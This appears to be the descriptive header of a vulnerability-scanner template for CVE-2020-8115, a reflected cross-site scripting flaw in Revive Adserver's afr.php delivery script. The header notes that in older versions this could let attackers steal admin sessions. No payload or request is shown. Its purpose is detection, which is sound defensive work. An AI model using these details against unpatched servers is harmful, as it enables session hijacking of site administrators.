id: CVE-2020-8115

info:
  name: Revive Adserver <=5.0.3 - Cross-Site Scripting
  author: madrobot,dwisiswant0
  severity: medium
  description: |
    Revive Adserver 5.0.3 and prior contains a reflected cross-site scripting vulnerability in the publicly accessible afr.php delivery script. In older versions, it is possible to steal the session identifier and gain access to the admin interface. The query string sent to the www/delivery/afr.php script is printed back without proper escaping, allowing an attacker to execute arbitrary JavaScript code on the browser of the victim.
  remediation: There are currently no known exploits. As of 3.2.2, the session identifier cannot be accessed as it is stored in an http-only cookie.
